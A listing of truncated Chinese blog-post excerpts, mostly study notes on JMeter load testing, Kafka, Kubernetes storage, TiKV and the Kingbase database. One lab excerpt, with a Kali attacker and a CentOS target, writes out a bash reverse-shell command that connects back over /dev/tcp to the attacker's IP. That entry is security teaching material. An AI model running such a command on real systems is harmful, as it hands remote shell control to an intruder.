# Jmeter学习之一_连接与测试Redis ## 简介 ``` 下载: https://dlcdn.apache.org//jmeter/binaries/apache-jmeter-5.6.zip 注意事项: Don't use GUI mode for load testing !, onl
# Jmeter学习之四_kingbaseV8R6数据库的简单验证 ## 背景 ``` 周一没去报道, 因为我忘记体检了... 继续在家进行学习提高自己. jmeter周末时开始看的. 今天想着继续研究一下对数据库的处理 突然发现人大金仓的官方csdn有一个文档, 所以想着偷师,并且总结学习一下.
# Jmeter学习之三_知识梳理 ## 背景 ``` 简单学习了Jmeter的两个用例 感觉可以继续深入学习一下Jmeter了. 所以想着趁体检入职之前继续学习完善一下. 希望能够继续提高 ``` ## Jmeter的相关知识 ``` 1. 什么是Jmeter？ ApacheJMeter ，是一个
https://www.cnblogs.com/pachongshangdexuebi/p/13354201.html 一、前言 性能测试时我们关注的重要指标是：并发用户数，TPS，请求成功率，响应时间，服务器的CPU，memory， I/O disk等。Jmeter的聚合报告可以查看并发数、吞吐量
# Jmeter学习之五_跟踪被测试服务器的performance ## 背景 ``` 这几天简单学习了一些基本的测试过程. 可以实现一些简单基本的功能了. 今天晚上继续进行了jmeter的一些学习. 想着可以在测试人大金仓的同时可以查看一下本地的机器性能. ``` ## 用到的工具以及资料 ```
# Jmeter学习之七_使用influxdb2.7和grafana10进行Jmeter测试结果展示的方法 ## 摘要 ``` 前几天验证了 线程组内的-监听器 jp@gc 相关的组件 以及验证了 server-agent的方式可以监控机器的性能表现. 但是发现很多结果集是比较杂乱 并且不太好查看的
https://www.cnblogs.com/a00ium/p/13177272.html 人类都是视觉动物，讲究一图胜千言。如果没了可视化，那么你在跟领导汇报工作时，很大程度会鸡同鸭讲。其实 excel2016+已经是一个不错的数据分析及可视化工具了(支持几十种数据源),但是，不方便权限控制，集
上篇我们通过正则表达式获取到了一组数据，那么怎么来用呢？下面就用foreach控制器来使用结果，如下图所示 然后再foreach控制器里添加要循环的请求，我们模拟百度搜索，value填入${id} 然后运行测试，会发现请求循环执行了10次，每次的值都不一样
csv文件格式，第一列为手机号，第二列为密码 1.右键添加一个配置元件 csv数据文件设置 2.设置csv数据提取路径 3.引用数据 4.设置线程循环运行两次，然后发送请求 看到结果就执行了两次，取得用户名和密码发生了变化
1.setup线程组中新建一个JDBC Connection Configuration配置元件 2.设置配置信息 Database URL:jdbc:mysql://127.0.0.1:3306/vue_interface?useUnicode=true&characterEncoding=utf
https://zhuanlan.zhihu.com/p/121747788 JDBC Request: 这个sampler可以向数据库发送一个jdbc请求(sql语句)，它经常需要和JDBC Connection Configuration 配置元件一起配合使用。 目录： 一、准备工作 二、配置J
# Jmeter学习之八_测试kafka ## 背景 ``` 最近在持续学习. 昨天学习了grafana展示Jmeter测试数据库的结果 今天想着能够测试一下kafka验证一下kafka的吞吐量等信息 说干就干的. ``` ## 遇到的坑 ``` 本来计划使用pepper-box 或者是 kafka
# Jmeter 进行https证书处理的工作 ## 背景 ``` 继续学习中,想着能够抓取一下https相关的信息 所以计划些一下处理过程 但是感觉自己这一块比较薄弱. 场景设计这一块应该是专业人去搞, 我这边先只是简单学习了解一下. ``` ## 创建证书 ``` 要使用 keytool 工具创
Kafka对于producer发来的消息怎么保证可靠性？ 每个partition都给配上副本，做数据同步，保证数据不丢失。 副本数据同步策略 和zookeeper不同的是，Kafka选择的是全部完成同步，才发送ack。但是又有所区别。 所以，你们才会在各种博客看到这句话【kafka不是完全同步，也不
《深入理解Kafka：核心设计与实现原理》是基于2.0.0版本的书 在这本书中，终于看懂了笔者之前提过的几个问题 准备知识 1、leader里存着4个数据：leader_LEO、leader_HW、remote_LEO集合、remote_HW集合 2、follower里只保存自身的：follower
https://zhuanlan.zhihu.com/p/128552232 导读 上一篇写了共享存储的概述以及一个简单的案例演示。这一篇就写一下PV和PVC。 PV是对底层网络共享存储的抽象，将共享存储定义为一种“资源”，比如Node也是容器应用可以消费的资源。PV由管理员创建和配置，与共享存储的
环境 攻击机：kali ip：192.168.25.144 靶 机：centos ip：192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击
https://zhuanlan.zhihu.com/p/27275483 TiDB存储引擎TiKV是基于RocksDB存储引擎，通过Raft分布式算法保证数据一致性。本文详细介绍了TiKV存储引擎的实现机制和原理，加深对TiDB底层存储架构的理解。 1、TiDB存储引擎TiKV TiDB存储引擎T
# 人大金仓学习之三-表空间与跨磁盘存储和分区表 ## 背景 ``` 最近在用人大金仓的数据库. 前期学习了 kwr和ksh等工具. 今天想验证一下性能相关的情况. 因为机器正好有多个磁盘的分区. 想着能够将所有的硬盘都用上. 提高性能, 感觉总体还不错, 所以想总结一下. 注意这里只考虑 OLTP
# 人大金仓学习之四-kmonitor ## 背景 ``` kmonitor 其实时一个很好的工具和思路 开元的软件封装一下, 减轻技术复杂度,提高部署效率 并且能够更加快速的定位解决问题. 能够极大的提升客户体验. 并且界面比较好看, 比kwr 看起来高大上多了. 不仅可以解决部分实际问题, 也可
